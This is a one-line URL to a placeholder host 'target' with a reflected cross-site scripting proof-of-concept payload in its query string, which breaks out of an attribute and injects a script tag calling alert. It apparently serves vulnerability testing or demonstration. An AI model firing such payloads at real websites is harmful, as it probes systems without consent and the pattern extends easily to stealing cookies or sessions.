http://target/session.cgi?"><script>alert('XSS')</script><